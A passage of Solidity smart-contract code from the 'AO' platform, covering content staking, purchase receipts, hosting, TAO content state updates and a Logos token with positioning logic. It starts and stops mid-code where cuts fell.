mega, etc. * @param _primordialAmount The amount of primordial Token to stake * @param _baseChallenge The base challenge string (PUBLIC KEY) of the content * @param _encChallenge The encrypted challenge string (PUBLIC KEY) of the content unique to the host * @param _contentDatKey The dat key of the content * @param _metadataDatKey The dat key of the content's metadata * @param _fileSize The size of the file * @param _taoId The TAO (TAO) ID for this content (if this is a T(AO) Content) */ function stakeTAOContent( uint256 _networkIntegerAmount, uint256 _networkFractionAmount, bytes8 _denomination, uint256 _primordialAmount, string _baseChallenge, string _encChallenge, string _contentDatKey, string _metadataDatKey, uint256 _fileSize, address _taoId) public isContractActive { require (AOLibrary.canStake(treasuryAddress, _networkIntegerAmount, _networkFractionAmount, _denomination, _primordialAmount, _baseChallenge, _encChallenge, _contentDatKey, _metadataDatKey, _fileSize, 0)); require ( _treasury.toBase(_networkIntegerAmount, _networkFractionAmount, _denomination).add(_primordialAmount) == _fileSize && _nameTAOPosition.senderIsPosition(msg.sender, _taoId) ); (,,bytes32 _contentUsageType_taoContent,,,) = _getSettingVariables(); /** * 1. Store this content * 2. Stake the network/primordial token on content * 3. Add the node info that hosts this content (in this case the creator himself) */ _hostContent( msg.sender, _stakeContent( msg.sender, _storeContent( msg.sender, _baseChallenge, _fileSize, _contentUsageType_taoContent, _taoId ), _networkIntegerAmount, _networkFractionAmount, _denomination, _primordialAmount, 0 ), _encChallenge, _contentDatKey, _metadataDatKey ); } /** * @dev Set profit percentage on existing staked content * Will throw error if this is a Creative Commons/T(AO) Content * @param _stakeId The ID of the staked content * @param _profitPercentage The new value to be set */ function setProfitPercentage(bytes32 _stakeId, uint256 _profitPercentage) public isContractActive { require (_profitPercentage <= AOLibrary.PERCENTAGE_DIVISOR()); // Make sure the staked content exist require (stakedContentIndex[_stakeId] > 0); StakedContent storage _stakedContent = stakedContents[stakedContentIndex[_stakeId]]; // Make sure the staked content owner is the same as the sender require (_stakedContent.stakeOwner == msg.sender); // Make sure we are updating profit percentage for AO Content only // Creative Commons/T(AO) Content has 0 profit percentage require (_isAOContentUsageType(_stakedContent.contentId)); _stakedContent.profitPercentage = _profitPercentage; emit SetProfitPercentage(msg.sender, _stakeId, _profitPercentage); } /** * @dev Set extra data on existing content * @param _contentId The ID of the content * @param _extraData some extra information to send to the contract for a content */ function setContentExtraData(bytes32 _contentId, string _extraData) public isContractActive { // Make sure the content exist require (contentIndex[_contentId] > 0); Content storage _content = contents[contentIndex[_contentId]]; // Make sure the content creator is the same as the sender require (_content.creator == msg.sender); _content.extraData = _extraData; } /** * @dev Return content info at a given ID * @param _contentId The ID of the content * @return address of the creator * @return file size of the content * @return the content usage type, i.e AO Content, Creative Commons, or T(AO) Content * @return The TAO ID for this content (if this is a T(AO) Content) * @return The TAO Content state, i.e Submitted, Pending Review, or Accepted to TAO * @return The V part of signature that is used to update the TAO Content State * @return The R part of signature that is used to update the TAO Content State * @return The S part of signature that is used to update the TAO Content State * @return the extra information sent to the contract when creating a content */ function contentById(bytes32 _contentId) public view returns (address, uint256, bytes32, address, bytes32, uint8, bytes32, bytes32, string) { // Make sure the content exist require (contentIndex[_contentId] > 0); Content memory _content = contents[contentIndex[_contentId]]; return ( _content.creator, _content.fileSize, _content.contentUsageType, _content.taoId, _content.taoContentState, _content.updateTAOContentStateV, _content.updateTAOContentStateR, _content.updateTAOContentStateS, _content.extraData ); } /** * @dev Return content host info at a given ID * @param _contentHostId The ID of the hosted content * @return The ID of the staked content * @return address of the host * @return the dat key of the content * @return the dat key of the content's metadata */ function contentHostById(bytes32 _contentHostId) public view returns (bytes32, address, string, string) { // Make sure the content host exist require (contentHostIndex[_contentHostId] > 0); ContentHost memory _contentHost = contentHosts[contentHostIndex[_contentHostId]]; return ( _contentHost.stakeId, _contentHost.host, _contentHost.contentDatKey, _contentHost.metadataDatKey ); } /** * @dev Return staked content information at a given ID * @param _stakeId The ID of the staked content * @return The ID of the content being staked * @return address of the staked content's owner * @return the network base token amount staked for this content * @return the primordial token amount staked for this content * @return the primordial weighted multiplier of the staked content * @return the profit percentage of the content * @return status of the staked content * @return the timestamp when the staked content was created */ function stakedContentById(bytes32 _stakeId) public view returns (bytes32, address, uint256, uint256, uint256, uint256, bool, uint256) { // Make sure the staked content exist require (stakedContentIndex[_stakeId] > 0); StakedContent memory _stakedContent = stakedContents[stakedContentIndex[_stakeId]]; return ( _stakedContent.contentId, _stakedContent.stakeOwner, _stakedContent.networkAmount, _stakedContent.primordialAmount, _stakedContent.primordialWeightedMultiplier, _stakedContent.profitPercentage, _stakedContent.active, _stakedContent.createdOnTimestamp ); } /** * @dev Unstake existing staked content and refund partial staked amount to the stake owner * Use unstakeContent() to unstake all staked token amount. unstakePartialContent() can unstake only up to * the mininum required to pay the fileSize * @param _stakeId The ID of the staked content * @param _networkIntegerAmount The integer amount of network token to unstake * @param _networkFractionAmount The fraction amount of network token to unstake * @param _denomination The denomination of the network token, i.e ao, kilo, mega, etc. * @param _primordialAmount The amount of primordial Token to unstake */ function unstakePartialContent(bytes32 _stakeId, uint256 _networkIntegerAmount, uint256 _networkFractionAmount, bytes8 _denomination, uint256 _primordialAmount) public isContractActive { // Make sure the staked content exist require (stakedContentIndex[_stakeId] > 0); require (_networkIntegerAmount > 0 || _networkFractionAmount > 0 || _primordialAmount > 0); StakedContent storage _stakedContent = stakedContents[stakedContentIndex[_stakeId]]; uint256 _fileSize = contents[contentIndex[_stakedContent.contentId]].fileSize; // Make sure the staked content owner is the same as the sender require (_stakedContent.stakeOwner == msg.sender); // Make sure the staked content is currently active (staked) with some amounts require (_stakedContent.active == true && (_stakedContent.networkAmount > 0 || (_stakedContent.primordialAmount > 0 && _stakedContent.primordialWeightedMultiplier > 0))); // Make sure the staked content has enough balance to unstake require (AOLibrary.canUnstakePartial(treasuryAddress, _networkIntegerAmount, _networkFractionAmount, _denomination, _primordialAmount, _stakedContent.networkAmount, _stakedContent.primordialAmount, _fileSize)); if (_denomination[0] != 0 && (_networkIntegerAmount > 0 || _networkFractionAmount > 0)) { uint256 _unstakeNetworkAmount = _treasury.toBase(_networkIntegerAmount, _networkFractionAmount, _denomination); _stakedContent.networkAmount = _stakedContent.networkAmount.sub(_unstakeNetworkAmount); require (_baseAO.unstakeFrom(msg.sender, _unstakeNetworkAmount)); } if (_primordialAmount > 0) { _stakedContent.primordialAmount = _stakedContent.primordialAmount.sub(_primordialAmount); require (_baseAO.unstakePrimordialTokenFrom(msg.sender, _primordialAmount, _stakedContent.primordialWeightedMultiplier)); } emit UnstakePartialContent(_stakedContent.stakeOwner, _stakedContent.stakeId, _stakedContent.contentId, _stakedContent.networkAmount, _stakedContent.primordialAmount, _stakedContent.primordialWeightedMultiplier); } /** * @dev Unstake existing staked content and refund the total staked amount to the stake owner * @param _stakeId The ID of the staked content */ function unstakeContent(bytes32 _stakeId) public isContractActive { // Make sure the staked content exist require (stakedContentIndex[_stakeId] > 0); StakedContent storage _stakedContent = stakedContents[stakedContentIndex[_stakeId]]; // Make sure the staked content owner is the same as the sender require (_stakedContent.stakeOwner == msg.sender); // Make sure the staked content is currently active (staked) with some amounts require (_stakedContent.active == true && (_stakedContent.networkAmount > 0 || (_stakedContent.primordialAmount > 0 && _stakedContent.primordialWeightedMultiplier > 0))); _stakedContent.active = false; if (_stakedContent.networkAmount > 0) { uint256 _unstakeNetworkAmount = _stakedContent.networkAmount; _stakedContent.networkAmount = 0; require (_baseAO.unstakeFrom(msg.sender, _unstakeNetworkAmount)); } if (_stakedContent.primordialAmount > 0) { uint256 _primordialAmount = _stakedContent.primordialAmount; uint256 _primordialWeightedMultiplier = _stakedContent.primordialWeightedMultiplier; _stakedContent.primordialAmount = 0; _stakedContent.primordialWeightedMultiplier = 0; require (_baseAO.unstakePrimordialTokenFrom(msg.sender, _primordialAmount, _primordialWeightedMultiplier)); } emit UnstakeContent(_stakedContent.stakeOwner, _stakeId); } /** * @dev Stake existing content with more tokens (this is to increase the price) * * @param _stakeId The ID of the staked content * @param _networkIntegerAmount The integer amount of network token to stake * @param _networkFractionAmount The fraction amount of network token to stake * @param _denomination The denomination of the network token, i.e ao, kilo, mega, etc. * @param _primordialAmount The amount of primordial Token to stake. (The primordial weighted multiplier has to match the current staked weighted multiplier) */ function stakeExistingContent(bytes32 _stakeId, uint256 _networkIntegerAmount, uint256 _networkFractionAmount, bytes8 _denomination, uint256 _primordialAmount) public isContractActive { // Make sure the staked content exist require (stakedContentIndex[_stakeId] > 0); StakedContent storage _stakedContent = stakedContents[stakedContentIndex[_stakeId]]; uint256 _fileSize = contents[contentIndex[_stakedContent.contentId]].fileSize; // Make sure the staked content owner is the same as the sender require (_stakedContent.stakeOwner == msg.sender); require (_networkIntegerAmount > 0 || _networkFractionAmount > 0 || _primordialAmount > 0); require (AOLibrary.canStakeExisting(treasuryAddress, _isAOContentUsageType(_stakedContent.contentId), _fileSize, _stakedContent.networkAmount.add(_stakedContent.primordialAmount), _networkIntegerAmount, _networkFractionAmount, _denomination, _primordialAmount)); // Make sure we can stake primordial token // If we are currently staking an active staked content, then the stake owner's weighted multiplier has to match `stakedContent.primordialWeightedMultiplier` // i.e, can't use a combination of different weighted multiplier. Stake owner has to call unstakeContent() to unstake all tokens first if (_primordialAmount > 0 && _stakedContent.active && _stakedContent.primordialAmount > 0 && _stakedContent.primordialWeightedMultiplier > 0) { require (_baseAO.weightedMultiplierByAddress(msg.sender) == _stakedContent.primordialWeightedMultiplier); } _stakedContent.active = true; if (_denomination[0] != 0 && (_networkIntegerAmount > 0 || _networkFractionAmount > 0)) { uint256 _stakeNetworkAmount = _treasury.toBase(_networkIntegerAmount, _networkFractionAmount, _denomination); _stakedContent.networkAmount = _stakedContent.networkAmount.add(_stakeNetworkAmount); require (_baseAO.stakeFrom(_stakedContent.stakeOwner, _stakeNetworkAmount)); } if (_primordialAmount > 0) { _stakedContent.primordialAmount = _stakedContent.primordialAmount.add(_primordialAmount); // Primordial Token is the base AO Token _stakedContent.primordialWeightedMultiplier = _baseAO.weightedMultiplierByAddress(_stakedContent.stakeOwner); require (_baseAO.stakePrimordialTokenFrom(_stakedContent.stakeOwner, _primordialAmount, _stakedContent.primordialWeightedMultiplier)); } emit StakeExistingContent(msg.sender, _stakedContent.stakeId, _stakedContent.contentId, _stakedContent.networkAmount, _stakedContent.primordialAmount, _stakedContent.primordialWeightedMultiplier); } /** * @dev Determine the content price hosted by a host * @param _contentHostId The content host ID to be checked * @return the price of the content */ function contentHostPrice(bytes32 _contentHostId) public isContractActive view returns (uint256) { // Make sure content host exist require (contentHostIndex[_contentHostId] > 0); bytes32 _stakeId = contentHosts[contentHostIndex[_contentHostId]].stakeId; StakedContent memory _stakedContent = stakedContents[stakedContentIndex[_stakeId]]; // Make sure content is currently staked require (_stakedContent.active == true && (_stakedContent.networkAmount > 0 || (_stakedContent.primordialAmount > 0 && _stakedContent.primordialWeightedMultiplier > 0))); return _stakedContent.networkAmount.add(_stakedContent.primordialAmount); } /** * @dev Determine the how much the content is paid by AO given a contentHostId * @param _contentHostId The content host ID to be checked * @return the amount paid by AO */ function contentHostPaidByAO(bytes32 _contentHostId) public isContractActive view returns (uint256) { bytes32 _stakeId = contentHosts[contentHostIndex[_contentHostId]].stakeId; bytes32 _contentId = stakedContents[stakedContentIndex[_stakeId]].contentId; if (_isAOContentUsageType(_contentId)) { return 0; } else { return contentHostPrice(_contentHostId); } } /** * @dev Bring content in to the requesting node by sending network tokens to the contract to pay for the content * @param _contentHostId The ID of hosted content * @param _networkIntegerAmount The integer amount of network token to pay * @param _networkFractionAmount The fraction amount of network token to pay * @param _denomination The denomination of the network token, i.e ao, kilo, mega, etc. * @param _publicKey The public key of the request node * @param _publicAddress The public address of the request node */ function buyContent(bytes32 _contentHostId, uint256 _networkIntegerAmount, uint256 _networkFractionAmount, bytes8 _denomination, string _publicKey, address _publicAddress) public isContractActive { // Make sure the content host exist require (contentHostIndex[_contentHostId] > 0); // Make sure public key is not empty require (bytes(_publicKey).length > 0); // Make sure public address is valid require (_publicAddress != address(0)); ContentHost memory _contentHost = contentHosts[contentHostIndex[_contentHostId]]; StakedContent memory _stakedContent = stakedContents[stakedContentIndex[_contentHost.stakeId]]; // Make sure the content currently has stake require (_stakedContent.active == true && (_stakedContent.networkAmount > 0 || (_stakedContent.primordialAmount > 0 && _stakedContent.primordialWeightedMultiplier > 0))); // Make sure the buyer has not bought this content previously require (buyerPurchaseReceipts[msg.sender][_contentHostId][0] == 0); // Make sure the token amount can pay for the content price if (_isAOContentUsageType(_stakedContent.contentId)) { require (AOLibrary.canBuy(treasuryAddress, _stakedContent.networkAmount.add(_stakedContent.primordialAmount), _networkIntegerAmount, _networkFractionAmount, _denomination)); } // Increment totalPurchaseReceipts; totalPurchaseReceipts++; // Generate purchaseId bytes32 _purchaseId = keccak256(abi.encodePacked(this, msg.sender, _contentHostId)); PurchaseReceipt storage _purchaseReceipt = purchaseReceipts[totalPurchaseReceipts]; // Make sure the node doesn't buy the same content twice require (_purchaseReceipt.buyer == address(0)); _purchaseReceipt.purchaseId = _purchaseId; _purchaseReceipt.contentHostId = _contentHostId; _purchaseReceipt.buyer = msg.sender; // Update the receipt with the correct network amount _purchaseReceipt.price = _stakedContent.networkAmount.add(_stakedContent.primordialAmount); _purchaseReceipt.amountPaidByAO = contentHostPaidByAO(_contentHostId); _purchaseReceipt.amountPaidByBuyer = _purchaseReceipt.price.sub(_purchaseReceipt.amountPaidByAO); _purchaseReceipt.publicKey = _publicKey; _purchaseReceipt.publicAddress = _publicAddress; _purchaseReceipt.createdOnTimestamp = now; purchaseReceiptIndex[_purchaseId] = totalPurchaseReceipts; buyerPurchaseReceipts[msg.sender][_contentHostId] = _purchaseId; // Calculate content creator/host/The AO earning from this purchase and store them in escrow require (_earning.calculateEarning( msg.sender, _purchaseId, _stakedContent.networkAmount, _stakedContent.primordialAmount, _stakedContent.primordialWeightedMultiplier, _stakedContent.profitPercentage, _stakedContent.stakeOwner, _contentHost.host, _isAOContentUsageType(_stakedContent.contentId) )); emit BuyContent(_purchaseReceipt.buyer, _purchaseReceipt.purchaseId, _purchaseReceipt.contentHostId, _purchaseReceipt.price, _purchaseReceipt.amountPaidByAO, _purchaseReceipt.amountPaidByBuyer, _purchaseReceipt.publicKey, _purchaseReceipt.publicAddress, _purchaseReceipt.createdOnTimestamp); } /** * @dev Return purchase receipt info at a given ID * @param _purchaseId The ID of the purchased content * @return The ID of the content host * @return address of the buyer * @return price of the content * @return amount paid by AO * @return amount paid by Buyer * @return request node's public key * @return request node's public address * @return created on timestamp */ function purchaseReceiptById(bytes32 _purchaseId) public view returns (bytes32, address, uint256, uint256, uint256, string, address, uint256) { // Make sure the purchase receipt exist require (purchaseReceiptIndex[_purchaseId] > 0); PurchaseReceipt memory _purchaseReceipt = purchaseReceipts[purchaseReceiptIndex[_purchaseId]]; return ( _purchaseReceipt.contentHostId, _purchaseReceipt.buyer, _purchaseReceipt.price, _purchaseReceipt.amountPaidByAO, _purchaseReceipt.amountPaidByBuyer, _purchaseReceipt.publicKey, _purchaseReceipt.publicAddress, _purchaseReceipt.createdOnTimestamp ); } /** * @dev Request node wants to become a distribution node after buying the content * Also, if this transaction succeeds, contract will release all of the earnings that are * currently in escrow for content creator/host/The AO */ function becomeHost( bytes32 _purchaseId, uint8 _baseChallengeV, bytes32 _baseChallengeR, bytes32 _baseChallengeS, string _encChallenge, string _contentDatKey, string _metadataDatKey ) public isContractActive { // Make sure the purchase receipt exist require (purchaseReceiptIndex[_purchaseId] > 0); PurchaseReceipt memory _purchaseReceipt = purchaseReceipts[purchaseReceiptIndex[_purchaseId]]; bytes32 _stakeId = contentHosts[contentHostIndex[_purchaseReceipt.contentHostId]].stakeId; bytes32 _contentId = stakedContents[stakedContentIndex[_stakeId]].contentId; // Make sure the purchase receipt owner is the same as the sender require (_purchaseReceipt.buyer == msg.sender); // Verify that the file is not tampered by validating the base challenge signature // The signed base challenge key should match the one from content creator Content memory _content = contents[contentIndex[_contentId]]; require (AOLibrary.getBecomeHostSignatureAddress(address(this), _content.baseChallenge, _baseChallengeV, _baseChallengeR, _baseChallengeS) == _purchaseReceipt.publicAddress); _hostContent(msg.sender, _stakeId, _encChallenge, _contentDatKey, _metadataDatKey); // Release earning from escrow require (_earning.releaseEarning( _stakeId, _purchaseReceipt.contentHostId, _purchaseId, (_purchaseReceipt.amountPaidByBuyer > _content.fileSize), stakedContents[stakedContentIndex[_stakeId]].stakeOwner, contentHosts[contentHostIndex[_purchaseReceipt.contentHostId]].host) ); } /** * @dev Update the TAO Content State of a T(AO) Content * @param _contentId The ID of the Content * @param _taoId The ID of the TAO that initiates the update * @param _taoContentState The TAO Content state value, i.e Submitted, Pending Review, or Accepted to TAO * @param _updateTAOContentStateV The V part of the signature for this update * @param _updateTAOContentStateR The R part of the signature for this update * @param _updateTAOContentStateS The S part of the signature for this update */ function updateTAOContentState( bytes32 _contentId, address _taoId, bytes32 _taoContentState, uint8 _updateTAOContentStateV, bytes32 _updateTAOContentStateR, bytes32 _updateTAOContentStateS ) public isContractActive { // Make sure the content exist require (contentIndex[_contentId] > 0); require (AOLibrary.isTAO(_taoId)); (,, bytes32 _contentUsageType_taoContent, bytes32 taoContentState_submitted, bytes32 taoContentState_pendingReview, bytes32 taoContentState_acceptedToTAO) = _getSettingVariables(); require (_taoContentState == taoContentState_submitted || _taoContentState == taoContentState_pendingReview || _taoContentState == taoContentState_acceptedToTAO); address _signatureAddress = AOLibrary.getUpdateTAOContentStateSignatureAddress(address(this), _contentId, _taoId, _taoContentState, _updateTAOContentStateV, _updateTAOContentStateR, _updateTAOContentStateS); Content storage _content = contents[contentIndex[_contentId]]; // Make sure that the signature address is one of content's TAO ID's Advocate/Listener/Speaker require (_signatureAddress == msg.sender && _nameTAOPosition.senderIsPosition(_signatureAddress, _content.taoId)); require (_content.contentUsageType == _contentUsageType_taoContent); _content.taoContentState = _taoContentState; _content.updateTAOContentStateV = _updateTAOContentStateV; _content.updateTAOContentStateR = _updateTAOContentStateR; _content.updateTAOContentStateS = _updateTAOContentStateS; emit UpdateTAOContentState(_contentId, _taoId, _signatureAddress, _taoContentState); } /***** INTERNAL METHODS *****/ /** * @dev Store the content information (content creation during staking) * @param _creator the address of the content creator * @param _baseChallenge The base challenge string (PUBLIC KEY) of the content * @param _fileSize The size of the file * @param _contentUsageType The content usage type, i.e AO Content, Creative Commons, or T(AO) Content * @param _taoId The TAO (TAO) ID for this content (if this is a T(AO) Content) * @return the ID of the content */ function _storeContent(address _creator, string _baseChallenge, uint256 _fileSize, bytes32 _contentUsageType, address _taoId) internal returns (bytes32) { // Increment totalContents totalContents++; // Generate contentId bytes32 _contentId = keccak256(abi.encodePacked(this, _creator, totalContents)); Content storage _content = contents[totalContents]; // Make sure the node does't store the same content twice require (_content.creator == address(0)); (,,bytes32 contentUsageType_taoContent, bytes32 taoContentState_submitted,,) = _getSettingVariables(); _content.contentId = _contentId; _content.creator = _creator; _content.baseChallenge = _baseChallenge; _content.fileSize = _fileSize; _content.contentUsageType = _contentUsageType; // If this is a TAO Content if (_contentUsageType == contentUsageType_taoContent) { _content.taoContentState = taoContentState_submitted; _content.taoId = _taoId; } contentIndex[_contentId] = totalContents; emit StoreContent(_content.creator, _content.contentId, _content.fileSize, _content.contentUsageType); return _content.contentId; } /** * @dev Add the distribution node info that hosts the content * @param _host the address of the host * @param _stakeId The ID of the staked content * @param _encChallenge The encrypted challenge string (PUBLIC KEY) of the content unique to the host * @param _contentDatKey The dat key of the content * @param _metadataDatKey The dat key of the content's metadata */ function _hostContent(address _host, bytes32 _stakeId, string _encChallenge, string _contentDatKey, string _metadataDatKey) internal { require (bytes(_encChallenge).length > 0); require (bytes(_contentDatKey).length > 0); require (bytes(_metadataDatKey).length > 0); require (stakedContentIndex[_stakeId] > 0); // Increment totalContentHosts totalContentHosts++; // Generate contentId bytes32 _contentHostId = keccak256(abi.encodePacked(this, _host, _stakeId)); ContentHost storage _contentHost = contentHosts[totalContentHosts]; // Make sure the node doesn't host the same content twice require (_contentHost.host == address(0)); _contentHost.contentHostId = _contentHostId; _contentHost.stakeId = _stakeId; _contentHost.host = _host; _contentHost.encChallenge = _encChallenge; _contentHost.contentDatKey = _contentDatKey; _contentHost.metadataDatKey = _metadataDatKey; contentHostIndex[_contentHostId] = totalContentHosts; emit HostContent(_contentHost.host, _contentHost.contentHostId, _contentHost.stakeId, _contentHost.contentDatKey, _contentHost.metadataDatKey); } /** * @dev actual staking the content * @param _stakeOwner the address that stake the content * @param _contentId The ID of the content * @param _networkIntegerAmount The integer amount of network token to stake * @param _networkFractionAmount The fraction amount of network token to stake * @param _denomination The denomination of the network token, i.e ao, kilo, mega, etc. * @param _primordialAmount The amount of primordial Token to stake * @param _profitPercentage The percentage of profit the stake owner's media will charge * @return the newly created staked content ID */ function _stakeContent(address _stakeOwner, bytes32 _contentId, uint256 _networkIntegerAmount, uint256 _networkFractionAmount, bytes8 _denomination, uint256 _primordialAmount, uint256 _profitPercentage) internal returns (bytes32) { // Increment totalStakedContents totalStakedContents++; // Generate stakeId bytes32 _stakeId = keccak256(abi.encodePacked(this, _stakeOwner, _contentId)); StakedContent storage _stakedContent = stakedContents[totalStakedContents]; // Make sure the node doesn't stake the same content twice require (_stakedContent.stakeOwner == address(0)); _stakedContent.stakeId = _stakeId; _stakedContent.contentId = _contentId; _stakedContent.stakeOwner = _stakeOwner; _stakedContent.profitPercentage = _profitPercentage; _stakedContent.active = true; _stakedContent.createdOnTimestamp = now; stakedContentIndex[_stakeId] = totalStakedContents; if (_denomination[0] != 0 && (_networkIntegerAmount > 0 || _networkFractionAmount > 0)) { _stakedContent.networkAmount = _treasury.toBase(_networkIntegerAmount, _networkFractionAmount, _denomination); require (_baseAO.stakeFrom(_stakeOwner, _stakedContent.networkAmount)); } if (_primordialAmount > 0) { _stakedContent.primordialAmount = _primordialAmount; // Primordial Token is the base AO Token _stakedContent.primordialWeightedMultiplier = _baseAO.weightedMultiplierByAddress(_stakedContent.stakeOwner); require (_baseAO.stakePrimordialTokenFrom(_stakedContent.stakeOwner, _primordialAmount, _stakedContent.primordialWeightedMultiplier)); } emit StakeContent(_stakedContent.stakeOwner, _stakedContent.stakeId, _stakedContent.contentId, _stakedContent.networkAmount, _stakedContent.primordialAmount, _stakedContent.primordialWeightedMultiplier, _stakedContent.profitPercentage, _stakedContent.createdOnTimestamp); return _stakedContent.stakeId; } /** * @dev Get setting variables * @return contentUsageType_aoContent Content Usage Type = AO Content * @return contentUsageType_creativeCommons Content Usage Type = Creative Commons * @return contentUsageType_taoContent Content Usage Type = T(AO) Content * @return taoContentState_submitted TAO Content State = Submitted * @return taoContentState_pendingReview TAO Content State = Pending Review * @return taoContentState_acceptedToTAO TAO Content State = Accepted to TAO */ function _getSettingVariables() internal view returns (bytes32, bytes32, bytes32, bytes32, bytes32, bytes32) { (,,,bytes32 contentUsageType_aoContent,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'contentUsageType_aoContent'); (,,,bytes32 contentUsageType_creativeCommons,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'contentUsageType_creativeCommons'); (,,,bytes32 contentUsageType_taoContent,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'contentUsageType_taoContent'); (,,,bytes32 taoContentState_submitted,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'taoContentState_submitted'); (,,,bytes32 taoContentState_pendingReview,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'taoContentState_pendingReview'); (,,,bytes32 taoContentState_acceptedToTAO,) = _aoSetting.getSettingValuesByTAOName(settingTAOId, 'taoContentState_acceptedToTAO'); return ( contentUsageType_aoContent, contentUsageType_creativeCommons, contentUsageType_taoContent, taoContentState_submitted, taoContentState_pendingReview, taoContentState_acceptedToTAO ); } /** * @dev Check whether or not the content is of AO Content Usage Type * @param _contentId The ID of the content * @return true if yes. false otherwise */ function _isAOContentUsageType(bytes32 _contentId) internal view returns (bool) { (bytes32 _contentUsageType_aoContent,,,,,) = _getSettingVariables(); return contents[contentIndex[_contentId]].contentUsageType == _contentUsageType_aoContent; } } /** * @title Name */ contract Name is TAO { /** * @dev Constructor function */ constructor (string _name, address _originId, string _datHash, string _database, string _keyValue, bytes32 _contentId, address _vaultAddress) TAO (_name, _originId, _datHash, _database, _keyValue, _contentId, _vaultAddress) public { // Creating Name typeId = 1; } } contract Logos is TAOCurrency { NameTAOPosition internal _nameTAOPosition; // Mapping of a Name ID to the amount of Logos positioned by others to itself // address is the address of nameId, not the eth public address mapping (address => uint256) public positionFromOthers; // Mapping of Name ID to other Name ID and the amount of Logos positioned by itself mapping (address => mapping(address => uint256)) public positionToOthers; // Mapping of a Name ID to the total amount of Logos positioned by itself to others mapping (address => uint256) public totalPositionToOthers; // Mapping of Name ID to it's advocated TAO ID and the amount of Logos earned mapping (address => mapping(address => uint256)) public advocatedTAOLogos; // Mapping of a Name ID to the total amount of Logos earned from advocated TAO mapping (address => uint256) public totalAdvocatedTAOLogos; // Event broadcasted to public when `from` address position `value` Logos to `to` event PositionFrom(address indexed from, address indexed to, uint256 value); // Event broadcasted to public when `from` address unposition `value` Logos from `to` event UnpositionFrom(address indexed from, address indexed to, uint256 value); // Event broadcasted to public when `nameId` receives `amount` of Logos from advocating `taoId` event AddAdvocatedTAOLogos(address indexed nameId, address indexed taoId, uint256 amount); // Event broadcasted to public when Logos from advocating `taoId` is transferred from `fromNameId` to `toNameId` event TransferAdvocatedTAOLogos(address indexed fromNameId, address indexed toNameId, address indexed taoId, uint256 amount); /** * @dev Constructor function */ constructor(uint256 initialSupply, string tokenName, string tokenSymbol, address _nameTAOPositionAddress) TAOCurrency(initialSupply, tokenName, tokenSymbol) public { nameTAOPositionAddress = _nameTAOPositionAddress; _nameTAOPosition = NameTAOPosition(_nameTAOPositionAddress); } /** * @dev Check if `_taoId` is a TAO */ modifier isTAO(address _taoId) { require (AOLibrary.isTAO(_taoId)); _; } /** * @dev Check if `_nameId` is a Name */ modifier isName(address _nameId) { require (AOLibrary.isName(_nameId)); _; } /** * @dev Check if msg.sender is the current advocate of _id */ modifier onlyAdvocate(address _id) { require (_nameTAOPosition.senderIsAdvocate(msg.sender, _id)); _; } /***** PUBLIC METHODS *****/ /** * @dev Get the total sum of Logos for an address * @param _target The address to check * @return The total sum of Logos (own + positioned + advocated TAOs) */ function sumBalanceOf(address _target) public isNameOrTAO(_target) view returns (uint256) { return balanceOf[_target].add(positionFromOthers[_target]).add(totalAdvocatedTAOLogos[_target]); } /** * @dev `_from` Name position `_value` Logos onto `_to` Name * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to position * @return true on success */ function positionFrom(address _from, address _to, uint256 _value) public isName(_from) isName(_to) onlyAdvocate(_from) returns (bool) { require (_from != _to); // Can't position Logos to itself require (balanceOf[_from].sub(totalPositionToOthers[_from]) >= _value); // should have enough balance to position require (positionFromOthers[_to].add(_value) >= positionFromOthers[_to]); // check for overflows uint256 previousPositionToOthers = totalPositionToOthers[_from]; uint256 previousPositionFromOthers = positionFromOthers[_to]; uint256 previousAvailPositionBalance = balanceOf[_from].sub(totalPositionToOthers[_from]); positionToOthers[_from][_to] = positionToOthers[_from][_to].add(_value); totalPositionToOthers[_from] = totalPositionToOthers[_from].add(_value); positionFromOthers[_to] = positionFromOthers[_to].add(_value); emit PositionFrom(_from, _to, _value); assert(totalPositionToOthers[_from].sub(_value) == previousPositionToOthers); assert(positionFromOthers[_to].sub(_value) == previousPositionFromOthers); assert(balanceOf[_from].sub(totalPositionToOthers[_from]) <= previousAvailPositionBalance); return true; } /** * @dev `_from` Name unposition `_value` Logos from `_to` Name * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to unposition * @return true on success */ function unpositionFrom(address _from, address _to, uint256 _value) public isName(_from) isName(_to) onlyAdvocate(_from) returns (bool) { require (_from != _to); // Can't unposition Logos to itself require (positionToOthers[_from][_to] >= _value); uint256 previousPositionToOthers = totalPositionToOthers[_from]; uint256 previousPositionFromOthers = positionFromOthers[_to]; uint256 previousAvailPositionBalance = balanceOf[_from].sub(totalPositionToOthers[_from]); positionToOthers[_from][_to] = positionToOthers[_from][_to].sub(_value); totalPositionToOthers[_from] = totalPositionToOthers[_from].sub(_value); positionFromOthers[_to] = positionFromOthers[_to].sub(_value); emit UnpositionFrom(_from, _to, _value); assert(totalPositionToOthers[_from].add(_value) == previousPositionToOthers); assert(positionFromOthers[_to].add(_value) == previousPositionFromOthers); assert(balanceOf[_from].sub(totalPositionToOthers[_from]) >= previousAvailPositionBalance); return true; } /** * @dev Add `_amount` logos earned from advocating a TAO `_taoId` to its Advocate * @param _taoId The ID of the advocated TAO * @param _amount the amount to reward * @return true on success */ function addAdvocatedTAOLogos(address _taoId, uint256 _amount) public inWhitelist isTAO(_taoId) returns (bool) { require (_amount > 0); address _nameId = _nameTAOPosition.getAdvocate(_taoId); advocatedTAOLogos[_nameId][_taoId] = advocatedTAOLogos[_nameId][_taoId].add(_amount); totalAdvocatedTAOLogos[_nameId] = totalAdvocatedTAOLogos[_nameId].add(_amount); emit AddAdvocatedTAOLogos(_nameId, _taoId, _amount); return true; } /** * @dev Transfer logos earned from advocating a TAO `_taoId` from `_fromNameId` to `_toNameId` * @param _fromNameId The ID of the Name that sends the Logos * @param _toNameId The ID of the Name that receives the Logos * @param _taoId The ID of the advocated TAO * @return true on success */ function transferAdvocatedTAOLogos(address _fromNameId, address _toNameId, address _taoId) public inWhitelist isName(_fromNameId) isName(_toNameId) isTAO(_taoId) returns (bool) { require (_nameTAOPosition.nameIsAdvocate(_toNameId, _taoId)); require (advocatedTAOLogos[_fromNameId][_taoId] > 0); require (totalAdvocatedTAOLogos[_fromNameId] >= 